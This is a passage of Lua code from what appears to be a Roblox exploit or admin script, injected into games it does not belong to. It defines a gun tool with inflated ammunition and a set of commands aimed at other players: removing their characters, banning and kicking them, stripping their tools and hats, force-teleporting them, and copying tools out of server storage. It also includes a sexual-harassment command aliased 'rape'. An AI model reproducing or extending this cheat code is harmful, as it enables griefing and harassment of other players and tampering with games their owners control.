_hum_tag=function(hum) local c=hum:findFirstChild'creator'or Instance.new('ObjectValue',hum); c.Name='creator'; c.Value=user; if(hum.Health==0 and not hum:findFirstChild'killed')then Instance.new('BoolValue',hum).Name='killed'; bullets.clip=bullets.clip+10; end; end; _hum_dam=function(hum,dam,percent) hum.Health=hum.Health-(percent and hum.MaxHealth*(dam*0.01)or dam); if(hum.Health<=hum.MaxHealth*0.1)then _hum_tag(hum); end; end; _ray=function(v0,v1,i) local mag=(v0-v1).magnitude; local ray=Ray.new(v0,(v1-v0).unit*(mag>999 and 999 or mag)); return(type(i)=='table'and workspace.FindPartOnRayWithIgnoreList or workspace.FindPartOnRay)(workspace,ray,i); end; _must=function(v0,v1,i) local hit,pos=_ray(v0,v1,i); return not hit and mouse.target or hit,pos; end; _cframe=function(x,y,z,r0,r1,r2) return CFrame.Angles( math.rad(r0 or 0), math.rad(r1 or 0), math.rad(r2 or 0) )*CFrame.new(x,y,z); end; _update=function() if(bool_active and not screen.Parent)then screen.Parent=gui; elseif(not bool_active and screen.Parent)then screen.Parent=nil; end; end; _light=function(v0,v1) local mag=(v0-v1).magnitude; local len=math.random(2,7); len=len>mag/2 and mag/2 or len; --local light=_new'part'{ -- cFrame=CFrame.new(v0,v1); -- size=Vector3.new(1,1,1); -- color=_RGB(255,255,0); -- anchored=true; -- inv; --}; _new'blockMesh'{ scale=Vector3.new(0.2,0.2,len); offset=Vector3.new(0,0,-len/2); light; }; local bb=_new'billboardGui'{ size=UDim2.new(2,0,2,0); adornee=light; light; }; _new'imageLabel'{ image=url:format(109101526); backgroundTransparency=1; size=UDim2.new(1,0,1,0); bb; }; -- _rem(light,0.15); end; _rem=function(object,del) if(del)then delay(del,function() if(object.Parent)then object.Parent=nil; end; end); else pcall(function() if(object.Parent)then object.Parent=nil; end; end); end; end; _blood=function(pos,count) for i=1,count do local p=_new'part'{ rotVelocity=Vector3.new(math.random(),math.random(),math.random())*50; position=pos+Vector3.new(math.random(),math.random(),math.random()); velocity=Vector3.new(math.random(),math.random(),math.random())*50; size=Vector3.new(math.random(),math.random(),math.random())/3; color=_RGB(255,0,0); transparency=0.5; canCollide=true; bottomSurface=0; topSurface=0; formFactor=3; locked=true; inv; }; delay(5,function() p.Parent=nil; end); end; end; _make_hue=function() h_hue=_new'part'{ size=Vector3.new(0.25,1.8,0.35); color=_RGB(100,100,100); formFactor=3; name='hue'; handle; }; hh_weld=_new'weld'{ c1=_cframe(0,0.5,0); part0=handle; part1=h_hue; handle; }; end; _shot=function(v0,v1) if(not time_left)then time_left=0; end; if(time_left>time())then return nil; else time_left=time()+math.random(1,10)/100; end; if(bullets.current<1)then local tick_sound=head:findFirstChild'tick_sound'or _new'sound'{ soundId='rbxasset://sounds/SWITCH3.wav'; name='tick_sound'; volume=0.2; pitch=2; head; }; tick_sound:play(); if(bullets.clip>0)then time_left=time()+2; h_hue:breakJoints(); h_hue.CanCollide=true; h_hue.Velocity=(h_hue.CFrame*CFrame.new(0,5,0)).lookVector*10; _rem(h_hue,10); delay(1.9,function() _make_hue(); local got=(bullets.clip>bullets.maximum and bullets.maximum or bullets.clip)-bullets.current; bullets.clip=bullets.clip-got; bullets.current=bullets.current+got; end); end; return nil; else bullets.current=bullets.current-1; h_weld.C1=_cframe(0,0.75,0, -math.random(1000,1100)/10,180,0); d_weld.C1=_cframe(0,-0.25,0.3); lightstuff.Visible=true; delay(0.1,function() lightstuff.Visible=false; end); _rem(_new'part'{ velocity=CFrame.new(drag.Position,(drag.CFrame*CFrame.new(-4,-5,0)).p).lookVector*10; cFrame=drag.CFrame*CFrame.new(-0.5,0,0); size=Vector3.new(0.1,0.1,0.4); color=_RGB(200,200,0); material='Slate'; canCollide=true; formFactor=3; inv; },5); delay(0.1,function() d_weld.C1=_cframe(0,-0.25,0); if(bool_active)then h_weld.C1=h_weld_cf_active; end; end) end; local hit,pos=_must(v0,v1,char); shot_sound:play(); _rem(_new'part'{ cFrame=CFrame.new(v0,pos)*CFrame.new(0,0,-(v0-pos).magnitude*0.5); size=Vector3.new(0.1,0.1,(v0-pos).magnitude); color=_RGB(255,255,0); transparency=0.6; reflectance=0.5; canCollide=false; bottomSurface=0; anchored=true; formFactor=3; topSurface=0; inv; },.15); _light(v0,v1); if(not hit)then return nil;end; if(hit.Parent.className=='Hat')then hit:breakJoints(); hit.CanCollide=true; hit.Velocity=CFrame.new(v0,pos).lookVector*math.random(30,50); hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90)); else local hum=_hum(hit.Parent); if(not hum)then if(hit.Anchored==false and hit.Size.magnitude<4)then hit:breakJoints(); hit.CanCollide=true; end; else _hum_dam(hum,math.random(4,6)); _blood(pos,math.random(3,6)); hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90))/6; if(hit.Name=='Head')then hum.Health=0; _blood(pos,math.random(3,6)); delay(0.001,function() _new(workspace:FindFirstChild'head_shot'or'sound'){ pitch=math.random(70,100)*0.01; soundId=url:format(1876552); name='head_shot'; workspace; }:play(); end); _hum_tag(hum); _rem(_new'part'{ cFrame=CFrame.new(v0,pos)*CFrame.new(0,0,-(v0-pos).magnitude*0.5); size=Vector3.new(0.1,0.1,(v0-pos).magnitude); color=torso.Color; transparency=0.5; canCollide=false; bottomSurface=0; anchored=true; formFactor=3; topSurface=0; inv; },30); hit.Parent=nil; for b=0,1 do for a=0,1 do for i=0,1 do _rem(_new'part'{ velocity=CFrame.new(v0,pos).lookVector*20; cFrame=hit.CFrame*CFrame.new(i,-b,a); size=Vector3.new(0.5,0.5,0.5); color=_RGB(255,255,255); bottomSurface=0; canCollide=true; transparency=0; formFactor=3; topSurface=0; hum; },30); end; end; end; end; end; end; end; _cf_select=function(mouse) mouse.Icon=url:format(109111387);--108999296 bool_active=true; local arm=char:findFirstChild'Right Arm'; local weld=torso:findFirstChild'Right Shoulder'; if(arm and weld)then h_weld.Part0=arm; h_weld.C1=h_weld_cf_active; weld.Part1=nil; weld.Part0=nil; weld=_new(torso:findFirstChild'right_arml'or'weld'){ name='right_arml'; part0=torso; part1=arm; torso; }; arml=(arml or 0)+1; local alv=arml; local gyro=torso:findFirstChild'p_gyro'or Instance.new('BodyGyro',torso); gyro.maxTorque=Vector3.new(5e5,5e5,5e5); gyro.P=30000; gyro.D=1000; gyro.Name='p_gyro'; repeat local pos=mouse.hit.p; local val,valp,p0,p1,p2,hitpos,cj,c0,c1; val=-math.pi*0.5; valp=val*-1; p0=torso.CFrame; p0=p0+((p0*CFrame.Angles(valp,0,0)).lookVector*0.5)+(p0*CFrame.Angles(0,val,0)).lookVector; p1=p0+((p0.p-pos).unit*-2); p2=CFrame.new((p0.p+p1.p)/2,p0.p)*CFrame.Angles(val,val,0); hitpos=torso.Position; cj=CFrame.new(hitpos); c0=torso.CFrame:inverse()*cj; c1=p2:inverse()*cj; weld.C0=c0; weld.C1=c1; gyro.cframe=CFrame.new(torso.Position,Vector3.new(pos.X,torso.Position.Y,pos.Z)); wait(0.001); until arml~=alv; gyro.Parent=nil; end; end; _cf_deselect=function() bool_active=false; arml=(arml or 0)+1; loop_shot=(loop_shot or 0)+1; h_weld.Part0=torso; h_weld.C1=h_weld_cf_inactive; local weld=torso:findFirstChild'right_arml'; if(weld)then weld.Part1=nil; weld.Part0=nil; end; local arm=char:findFirstChild'Right Arm'; local weld=torso:findFirstChild'Right Shoulder'; if(arm and weld)then weld.Part0=torso; weld.Part1=arm; end; end; _cf_mouse=function(event,fun) mouse[event:sub(1,1):upper()..event:sub(2)]:connect(function(...) if(bool_active)then fun(...); end; end); end; do local main=getfenv(0); local c=game:children(); local check=function(v) if(v.className~=''and v.className~='Instance'and game:service(v.className))then main[v.className:sub(1,1):lower()..v.className:sub(2)]=v; end; end; for i=1,#c do pcall(check,c[i]); end; end; bullets={ maximum=51111111111111111111111111110; current=511111111111111111111111111111110; clip=501111111111111111111111111111111*4; }; list_base_props={ backgroundColor3=_RGB(0,0,0); textColor3=_RGB(200,200,200); borderSizePixel=0; color=_RGB(0,0,0); archivable=false; canCollide=false; bottomSurface=0; topSurface=0; formFactor=0; locked=true; }; user=players.localPlayer; mouse=user:getMouse(); char=user.Character; gui=user.PlayerGui; bag=user.Backpack; torso=char.Torso; head=char.Head; hum=_hum(char); url='rbxassetid://%d'; name='dev-uzi'; h_weld_cf_inactive=_cframe(0.35,0.5,0.5, 0,90,-70); h_weld_cf_active=_cframe(0,0.75,0, -110,180,0); assert(hum,'humanoid is not found'); _clear(); _cf_mouse('button1Down',function() loop_shot=(loop_shot or 0)+1; local vers=loop_shot; local step=runService.Stepped; repeat _shot((tube.CFrame*CFrame.new(0,0,tube.Size.Z*0.5)).p,mouse.hit.p); step:wait();--wait(0.001); until vers~=loop_shot; end); _cf_mouse('button1Up',function() loop_shot=(loop_shot or 0)+1; end); _cf_mouse('move',function() cross_f.Position=UDim2.new(0,mouse.X-11,0,mouse.Y-11); end); _cf_mouse('keyDown',function(k) if(k=='r')then if(bullets.clip>0 and time_left<=time())then local got=(bullets.clip>bullets.maximum and bullets.maximum or bullets.clip)-bullets.current; bullets.clip=bullets.clip-got; bullets.current=bullets.current+got; if(got~=0)then time_left=time()+2; end; end; end; end); screen=_new'screenGui'{ name=name; }; cross_f=_new'frame'{ size=UDim2.new(0,21,0,21); backgroundTransparency=1; screen; }; for i=0,1 do _new'frame'{ position=UDim2.new(0,13*i,0,11); size=UDim2.new(0,10,0,1); cross_f; }; end; for i=0,1 do _new'frame'{ position=UDim2.new(0,11,0,13*i); size=UDim2.new(0,1,0,10); cross_f; }; end; shot_sound=_new(head:findFirstChild'2920959'or'sound'){ soundId=url:format(2920959); pitch=1.4; head; }; if(shot_sound.Name~='2920959')then shot_sound.Name='2920959'; shot_sound:play(); end; bin=_new'hopperBin'{ deselected=_cf_deselect; selected=_cf_select; name=name; bag; }; inv=_new'model'{ name=name; char; }; handle=_new'part'{ size=Vector3.new(0.3,1.3,0.4); color=_RGB(140,140,140); name='handle'; formFactor=3; inv; touched=function(hit) if(hit.Parent.className=='Model')then local hum=_hum(hit.Parent); if(hum~=nil)then _hum_dam(hum,handle.Velocity.magnitude); end; end; end; }; h_weld=_new'weld'{ c1=h_weld_cf_inactive; part1=handle; part0=torso; handle; }; _make_hue(); h_part=_new'part'{ size=Vector3.new(0.4,0.4,1.4); color=_RGB(140,140,140); name='handle'; formFactor=3; handle; }; hp_weld=_new'weld'{ c1=_cframe(0,-1.3/2,-0.3, 20,0,0); part0=handle; part1=h_part; handle; }; drag=_new'part'{ size=Vector3.new(0.5,0.45,1.5); color=_RGB(100,100,100); name='handle'; formFactor=3; handle; }; d_weld=_new'weld'{ c1=_cframe(0,-0.25,0); part0=h_part; part1=drag; handle; }; tube=_new'part'{ size=Vector3.new(0.2,0.2,1.5); color=_RGB(0,0,0); name='handle'; formFactor=3; handle; }; t_weld=_new'weld'{ c1=_cframe(0,-0.3,-0.1); part0=h_part; part1=tube; handle; }; bullets_label=_new'textLabel'{ textStrokeColor3=_RGB(0,0,0); textColor3=_RGB(200,200,200); textStrokeTransparency=0; backgroundTransparency=1; fontSize=5; screen; }; lightstuff=_new'frame'{ backgroundColor3=_RGB(255,255,255); position=UDim2.new(0,0,0,-1); backgroundTransparency=0.5; size=UDim2.new(1,0,1,1); borderSizePixel=0; visible=false; screen; }; coroutine.wrap(function() local red,white,green; repeat if(screen.Parent)then if(not green and bullets.current==bullets.maximum)then green=true; bullets_label.TextColor3=_RGB(0,200,0); elseif(not red and bullets.current==0)then red=true; bullets_label.TextColor3=_RGB(200,0,0); elseif((red or green)and bullets.current~=0 and bullets.current~=bullets.maximum)then bullets_label.TextColor3=_RGB(200,200,200); green=false; red=false; end; bullets_label.Text=('Bullets: %d/%d'):format(bullets.current,bullets.clip); bullets_label.Size=UDim2.new(0,bullets_label.TextBounds.X,0,bullets_label.TextBounds.Y); bullets_label.Position=UDim2.new(1,-bullets_label.TextBounds.X-6,1,-bullets_label.TextBounds.Y-6); end; wait(0.001); until nil; end)(); _G.dev_pistol_version=(_G.dev_pistol_version or 0)+1; local vers=_G.dev_pistol_version; repeat _update();wait(0.001);until _G.dev_pistol_version~=vers or hum.Health==0; if(hum.Health==0)then _clear(); end; end end) addcmd('nil', 'removes the player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do pcall(function() gPlayers[v].Character:Remove() end) gPlayers[v].Character = nil if FindTable(SPC, args[1]) then Notify('Made ' ..args[1].. ' nil') else Notify('Made player(s) nil') end end end) addcmd('ban', 'goodbye ;)',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do if FindTable(SPC, args[1]) then Notify('Banned ' ..args[1]) else Notify('Banned player(s)') end spawn(function() if FindTable(WL, gPlayers[v].Name) then Notify('Error: '..gPlayers[v].Name..' is whitelisted') else if not FindTable(banname, gPlayers[v].Name) then table.insert(banT, _players[v].userId) banname[#banname + 1] = {NAME = tostring(gPlayers[v].Name), ID = tonumber(gPlayers[v].userId), AGE = tonumber(gPlayers[v].AccountAge)} updatebans() kickF(gPlayers[v]) end end end) end end) addcmd('clearbans', 'welcome back!',{'clrbans'}, function(args, speaker) banT = {} banname = {} Notify('Removed all bans') updatebans() end) addcmd('unban','unbans a player',{}, function(args, speaker) if FindTable(banT, gPlayers:GetUserIdFromNameAsync(args[1])) then table.remove(banT, GetInTable(banT, gPlayers:GetUserIdFromNameAsync(args[1]))) for i,v in pairs(banname) do if v.NAME == tostring(args[1]) then table.remove(banname, i) updatebans() end end Notify('Unbanned ' .. args[1]) end end) addcmd('dismiss', 'dismiss',{'verify'}, function(args, speaker) for _, child in pairs( workspace:GetChildren()) do if child.Name == speaker.Name .. "TAB" then child:Destroy() end end for a,b in pairs(hastab) do if b == speaker.Name then table.remove(hastab, a) end end end) addcmd('admin', 'ur an admin now ;o',{}, function(args, speaker) if speaker.userId ~= LP.userId then lponly(speaker) else local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() if _players[v].userId ~= LP.userId and not isAdmin(_players[v]) then table.insert(adminT, _players[v].userId) adminname[#adminname + 1] = {NAME = tostring(gPlayers[v].Name)} updateadmins() if FindTable(SPC, args[1]) then Notify('Gave ' ..args[1].. ' admin') else Notify('Gave player(s) admin') end game:GetService('Chat'):Chat(gPlayers[v].Character, 'You are now an admin! The prefix is ' .. cmdprefix, 1) end end) end end end) addcmd('unadmin', 'removes the admin',{'noadmin'}, function(args, speaker) if speaker.userId ~= LP.userId then lponly(speaker) else local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local radmin = tostring(_players[v].Name) if isAdmin(_players[v]) and _players[v].userId ~= LP.userId then table.remove(adminT, GetInTable(adminT, _players[v].userId)) for a,b in pairs(adminname) do if b.NAME == radmin then table.remove(adminname, a) updateadmins() end end game:GetService('Chat'):Chat(gPlayers[v].Character, 'You are no longer an admin', 2) if FindTable(SPC, args[1]) then Notify('Removed admin from ' .. args[1]) else Notify('Removed admin from player(s)') end end end end end) addcmd('bang','owo',{'rape'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do rape(_players[v].Name, speaker) end end) addcmd('bgui', 'gives player billboard gui presenting text',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do if gPlayers[v].Character.Head:FindFirstChild("BillboardGui") then gPlayers[v].Character.Head:FindFirstChild("BillboardGui"):Remove() end y = Instance.new("BillboardGui") y.Size = UDim2.new(0,100,0,150) y.StudsOffset = Vector3.new(0,1,0) y.Parent = gPlayers[v].Character.Head y.Adornee = gPlayers[v].Character.Head f = Instance.new("TextLabel") f.Parent = y f.BackgroundTransparency = 1 f.Position = UDim2.new(0,0,0,-50) f.Size = UDim2.new(0,100,0,100) f.Font = "Highway" f.FontSize = "Size48" f.Text = GLS(false, 1) f.TextStrokeColor3 = Color3.new(0,0,0) f.TextColor3 = Color3.new(255/255,255/255,255/255) f.TextStrokeTransparency = 0 f.TextYAlignment = "Bottom" end end) addcmd('unbgui', 'gives player billboard gui presenting text',{'nobgui'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do if gPlayers[v].Character.Head:FindFirstChild("BillboardGui") then gPlayers[v].Character.Head:FindFirstChild("BillboardGui"):Remove() end end end) function pipeTp(name,target) spawn(function() local pipe = Instance.new("Part") pipe.Name = "Pipe" pipe.Color = Color3.new(52/255,142/255,64/255) pipe.Size = Vector3.new(8,8,8) pipe.Anchored = true local mesh = Instance.new("SpecialMesh",pipe) mesh.MeshId = "rbxassetid://856736661" mesh.Scale = Vector3.new(0.15, 0.15, 0.15) local sound = Instance.new("Sound",pipe) sound.SoundId = "rbxassetid://864352897" sound.Volume = 1 local targetpos = game:GetService("Players")[target].Character.HumanoidRootPart.CFrame local char = game:GetService("Players")[name].Character char.PrimaryPart = char.HumanoidRootPart if char:FindFirstChild("Torso") then char.Torso.Anchored = true else char.UpperTorso.Anchored = true end local torso = char.HumanoidRootPart local initPos = torso.CFrame pipe.Parent = workspace pipe.CFrame = initPos - Vector3.new(0,8,0) for i = 0,8,0.2 do pipe.CFrame = initPos - Vector3.new(0,8-i,0) if i >= 1 then char:SetPrimaryPartCFrame(pipe.CFrame + Vector3.new(0,7,0)) end game:GetService("RunService").RenderStepped:wait() end sound:Play() for i = 7,-8,-0.2 do char:SetPrimaryPartCFrame(pipe.CFrame + Vector3.new(0,i,0)) game:GetService("RunService").RenderStepped:wait() end char:SetPrimaryPartCFrame(pipe.CFrame + Vector3.new(0,-8,0)) for i = 8,0,-0.2 do pipe.CFrame = initPos - Vector3.new(0,8-i,0) game:GetService("RunService").RenderStepped:wait() end pipe.CFrame = targetpos - Vector3.new(0,8,0) char:SetPrimaryPartCFrame(pipe.CFrame) for i = 0,8,0.2 do pipe.CFrame = targetpos - Vector3.new(0,8-i,0) game:GetService("RunService").RenderStepped:wait() end local played = false for i = -8,7,0.2 do if i >= 0 and not played then played = true sound:Play() end char:SetPrimaryPartCFrame(pipe.CFrame + Vector3.new(0,i,0)) game:GetService("RunService").RenderStepped:wait() end char:SetPrimaryPartCFrame(pipe.CFrame + Vector3.new(0,7,0)) for i = 8,0,-0.2 do pipe.CFrame = targetpos - Vector3.new(0,8-i,0) if i >= 1 then char:SetPrimaryPartCFrame(pipe.CFrame + Vector3.new(0,7,0)) end game:GetService("RunService").RenderStepped:wait() end pipe:Destroy() if char:FindFirstChild("Torso") then char.Torso.Anchored = false else char.UpperTorso.Anchored = false end end) end addcmd('pipetp', 'uses pipe to tp plr to plr',{}, function(args, speaker) local players = getPlayer(args[1], speaker) local target = getPlayer(args[2], speaker)[1] for i,v in pairs(players)do pipeTp(v,target) end end) addcmd('rhats', 'no more hats',{'removehats'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do for i,v in pairs(gPlayers[v].Character:GetChildren()) do if v:IsA('Accessory') then v:destroy() end end end end) addcmd('notools', 'no more tools',{'rtools','clrtools','removetools'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do for i,v in pairs(gPlayers[v].Backpack:GetDescendants()) do if v:IsA('Tool') or v:IsA('HopperBin') then v:destroy() end for i,v in pairs(players) do for i,v in pairs(gPlayers[v].Character:GetDescendants()) do if v:IsA('Tool') or v:IsA('HopperBin') then v:destroy() end end end end end end) addcmd('keeptools', 'saves tools in starterpack',{'startertools','stools','ktools'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local function copy(instance) for i,c in pairs(instance:GetChildren())do if c:IsA('Tool') or c:IsA('HopperBin') then c:Clone().Parent = gPlayers[v].StarterGear end copy(c) end end copy(gPlayers[v].Backpack) end for i,v in pairs(players)do local function copy(instance) for i,c in pairs(instance:GetChildren())do if c:IsA('Tool') or c:IsA('HopperBin') then c:Clone().Parent = gPlayers[v].StarterGear end copy(c) end end copy(gPlayers[v].Character) end Notify('Copied tools to StarterGear') end) addcmd('nokeeptools', 'deletes tools in starterpack',{'unkeeptools','nokeeptools','nostartertools','unstartertools','nostools','unstools','noktools','unktools'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do for i,c in pairs(gPlayers[v].StarterGear:GetChildren())do if c:IsA('Tool') or c:IsA('HopperBin') then c:destroy() end end end Notify('Cleared tools from StarterGear') end) addcmd('tools', 'steals tools from serverstorage and lighting',{'gears'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local function copy(instance) for i,c in pairs(instance:GetChildren())do if c:IsA('Tool') or c:IsA('HopperBin') then c:Clone().Parent = gPlayers[v].Backpack end copy(c) end end copy(LightingService) end for i,v in pairs(players)do local function copy(instance) for i,c in pairs(instance:GetChildren())do if c:IsA('Tool') or c:IsA('HopperBin') then c:Clone().Parent = gPlayers[v].Backpack end copy(c) end end copy(game.ReplicatedStorage) end end) wdisco = false addcmd('partdisco', 'color spams the workspace',{'pdisco'}, function(args, speaker) if wdisco == false then wdisco = true presets = {"Bright red","Bright yellow","Bright orange","Bright violet","Bright blue","Bright bluish green","Bright green"} repeat wait(1) if wdisco == true then local function color(instance) for i,v in pairs(instance:GetChildren())do if v.className == "Part" then v.BrickColor = BrickColor.new(presets[math.random(1,#presets)]) end color(v) end end color(workspace) end until wdisco == false end end) addcmd('unpartdisco', 'stops workspacedisco',{'unpdisco','nopartdisco','nopdisco'}, function(args, speaker) wdisco = false end) addcmd('gravity', 'workspace gravity',{''}, function(args, speaker) workspace.Gravity = args[1] Notify('Gravity set to ' .. args[1]) end) SINFOGUIopen = false function serverinfogui() if SINFOGUIopen == false then local Sinfo = Instance.new("ScreenGui") local drag = Instance.new("Frame") local PromptDialog = Instance.new("Frame") local shadow = Instance.new("Frame") local PopupText = Instance.new("TextLabel") local Exit = Instance.new("TextButton") local ContainerFrame = Instance.new("Frame") local TextLabel = Instance.new("TextLabel") local TextLabel2 = Instance.new("TextLabel") local TextLabel3 = Instance.new("TextLabel") local Time = Instance.new("TextLabel") local appearance = Instance.new("TextLabel") local fe = Instance.new("TextLabel") local maxplayers = Instance.new("TextLabel") local name = Instance.new("TextLabel") local placeid = Instance.new("TextLabel") local playerid = Instance.new("TextLabel") local players = Instance.new("TextLabel") Sinfo.Name = "Sinfo" Sinfo.Parent = game.CoreGui drag.Name = "drag" drag.Parent = Sinfo drag.Active = true drag.BackgroundColor3 = Color3.new(1, 1, 1) drag.BackgroundTransparency = 1 drag.Draggable = true drag.Position = UDim2.new(0.5, -150, 0, -400) drag.Size = UDim2.new(0, 290, 0, 30) PromptDialog.Name = "PromptDialog" PromptDialog.Parent = drag PromptDialog.BackgroundColor3 = Color3.new(0, 0, 0) PromptDialog.BackgroundTransparency = 1 PromptDialog.BorderSizePixel = 0 PromptDialog.Position = UDim2.new(0, -10, 0, 0) PromptDialog.Size = UDim2.new(0, 310, 0, 300) PromptDialog.ZIndex = 8 shadow.Name = "shadow" shadow.Parent = PromptDialog shadow.BackgroundColor3 = maincolor shadow.BackgroundTransparency = 0.30000001192093 shadow.BorderColor3 = Color3.new(0, 0, 0) shadow.BorderSizePixel = 0 shadow.Position = UDim2.new(0.0322580636, 0, 0.00999999978, 0) shadow.Size = UDim2.new(0, 290, 0, 26) PopupText.Name = "PopupText" PopupText.Parent = shadow PopupText.BackgroundTransparency = 1 PopupText.Position = UDim2.new(0, 8, 0, -3) PopupText.Size = UDim2.new(1, -16, 0.538461566, 0) PopupText.ZIndex = 110 PopupText.Font = Enum.Font.SourceSansBold PopupText.FontSize = Enum.FontSize.Size28 PopupText.Text = "Server" PopupText.TextColor3 = Color3.new(0.97, 0.97, 0.97) PopupText.TextStrokeTransparency = 0 PopupText.TextWrapped = true PopupText.TextYAlignment = Enum.TextYAlignment.Top Exit.Name = "Exit" Exit.Parent = shadow Exit.BackgroundColor3 = Color3.new(1, 0, 0) Exit.BackgroundTransparency = 0.30000001192093 Exit.BorderColor3 = Color3.new(1, 0, 0) Exit.BorderSizePixel = 0 Exit.Position = UDim2.new(0, 267, 0, 3) Exit.Size = UDim2.new(0, 20, 0, 20) Exit.FontSize = Enum.FontSize.Size14 Exit.Text = "" ContainerFrame.Name = "ContainerFrame" ContainerFrame.Parent = PromptDialog ContainerFrame.BackgroundColor3 = maincolor ContainerFrame.BackgroundTransparency = 0.5 ContainerFrame.BorderColor3 = Color3.new(0, 0, 0) ContainerFrame.BorderSizePixel = 0 ContainerFrame.Position = UDim2.new(0, 10, 0, 29) ContainerFrame.Size = UDim2.new(0.935483873, 0, 0.806666672, 0) ContainerFrame.ZIndex = 5 TextLabel.Name = "Text Label" TextLabel.Parent = ContainerFrame TextLabel.BackgroundColor3 = Color3.new(1, 1, 1) TextLabel.BackgroundTransparency = 1 TextLabel.BorderColor3 = Color3.new(0, 0, 0) TextLabel.Position = UDim2.new(0, 10, 0, 70) TextLabel.Size = UDim2.new(0, 100, 0, 20) TextLabel.ZIndex = 10 TextLabel.Font = Enum.Font.SourceSans TextLabel.FontSize = Enum.FontSize.Size24 TextLabel.Text = "Run Time:" TextLabel.TextColor3 = Color3.new(1, 1, 1) TextLabel.TextStrokeTransparency = 0 TextLabel.TextXAlignment = Enum.TextXAlignment.Left TextLabel2.Name = "Text Label2" TextLabel2.Parent = ContainerFrame TextLabel2.BackgroundColor3 = Color3.new(1, 1, 1) TextLabel2.BackgroundTransparency = 1 TextLabel2.BorderColor3 = Color3.new(0, 0, 0) TextLabel2.Position = UDim2.new(0, 10, 0, 120) TextLabel2.Size = UDim2.new(0, 100, 0, 20) TextLabel2.ZIndex = 10 TextLabel2.Font = Enum.Font.SourceSans TextLabel2.FontSize = Enum.FontSize.Size24 TextLabel2.Text = "Statistics:" TextLabel2.TextColor3 = Color3.new(1, 1, 1) TextLabel2.TextStrokeTransparency = 0 TextLabel2.TextXAlignment = Enum.TextXAlignment.Left TextLabel3.Name = "Text Label3" TextLabel3.Parent = ContainerFrame TextLabel3.BackgroundColor3 = Color3.new(1, 1, 1) TextLabel3.BackgroundTransparency = 1 TextLabel3.BorderColor3 = Color3.new(0, 0, 0) TextLabel3.Position = UDim2.new(0, 10, 0, 0) TextLabel3.Size = UDim2.new(0, 100, 0, 20) TextLabel3.ZIndex = 10 TextLabel3.Font = Enum.Font.SourceSans TextLabel3.FontSize = Enum.FontSize.Size24 TextLabel3.Text = "Local Player:" TextLabel3.TextColor3 = Color3.new(1, 1, 1) TextLabel3.TextStrokeTransparency = 0 TextLabel3.TextXAlignment = Enum.TextXAlignment.Left Time.Name = "Time" Time.Parent = ContainerFrame Time.BackgroundColor3 = Color3.new(0, 0.8, 1) Time.BackgroundTransparency = 1 Time.BorderColor3 = Color3.new(0.2, 0.8, 0.2) Time.Position = UDim2.new(0, 10, 0, 90) Time.Size = UDim2.new(0, 100, 0, 20) Time.ZIndex = 100 Time.Font = Enum.Font.ArialBold Time.FontSize = Enum.FontSize.Size14 Time.Text = "Loading..." Time.TextColor3 = Color3.new(1, 1, 1) Time.TextStrokeTransparency = 0 Time.TextXAlignment = Enum.TextXAlignment.Left appearance.Name = "appearance" appearance.Parent = ContainerFrame appearance.BackgroundColor3 = Color3.new(0, 0.8, 1) appearance.BackgroundTransparency = 1 appearance.BorderColor3 = Color3.new(0.2, 0.8, 0.2) appearance.Position = UDim2.new(0, 10, 0, 40) appearance.Size = UDim2.new(0, 100, 0, 20) appearance.ZIndex = 10 appearance.Font = Enum.Font.ArialBold appearance.FontSize = Enum.FontSize.Size14 appearance.Text = "Appearance: Loading..." appearance.TextColor3 = Color3.new(1, 1, 1) appearance.TextStrokeTransparency = 0 appearance.TextXAlignment = Enum.TextXAlignment.Left fe.Name = "fe" fe.Parent = ContainerFrame fe.BackgroundColor3 = Color3.new(0, 0.8, 1) fe.BackgroundTransparency = 1 fe.BorderColor3 = Color3.new(0.2, 0.8, 0.2) fe.Position = UDim2.new(0, 10, 0, 200) fe.Size = UDim2.new(0, 100, 0, 20) fe.ZIndex = 10 fe.Font = Enum.Font.ArialBold fe.FontSize = Enum.FontSize.Size14 fe.Text = "Loading..." fe.TextColor3 = Color3.new(1, 1, 1) fe.TextStrokeTransparency = 0 fe.TextXAlignment = Enum.TextXAlignment.Left maxplayers.Name = "maxplayers" maxplayers.Parent = ContainerFrame maxplayers.BackgroundColor3 = Color3.new(0, 0.8, 1) maxplayers.BackgroundTransparency = 1 maxplayers.BorderColor3 = Color3.new(0.2, 0.8, 0.2) maxplayers.Position = UDim2.new(0, 10, 0, 160) maxplayers.Size = UDim2.new(0, 100, 0, 20) maxplayers.ZIndex = 10 maxplayers.Font = Enum.Font.ArialBold maxplayers.FontSize = Enum.FontSize.Size14 maxplayers.Text = "Loading..." maxplayers.TextColor3 = Color3.new(1, 1, 1) maxplayers.TextStrokeTransparency = 0 maxplayers.TextXAlignment = Enum.TextXAlignment.Left name.Name = "name" name.Parent = ContainerFrame name.BackgroundColor3 = Color3.new(0, 0.8, 1) name.BackgroundTransparency = 1 name.BorderColor3 = Color3.new(0.2, 0.8, 0.2) name.Position = UDim2.new(0, 10, 0, 180) name.Size = UDim2.new(0, 100, 0, 20) name.ZIndex = 10 name.Font = Enum.Font.ArialBold name.FontSize = Enum.FontSize.Size14 name.Text = "Place: Loading..." name.TextColor3 = Color3.new(1, 1, 1) name.TextStrokeTransparency = 0 name.TextXAlignment = Enum.TextXAlignment.Left placeid.Name = "placeid" placeid.Parent = ContainerFrame placeid.BackgroundColor3 = Color3.new(0, 0.8, 1) placeid.BackgroundTransparency = 1 placeid.BorderColor3 = Color3.new(0.2, 0.8, 0.2) placeid.Position = UDim2.new(0, 10, 0, 220) placeid.Size = UDim2.new(0, 100, 0, 20) placeid.ZIndex = 10 placeid.Font = Enum.Font.ArialBold placeid.FontSize = 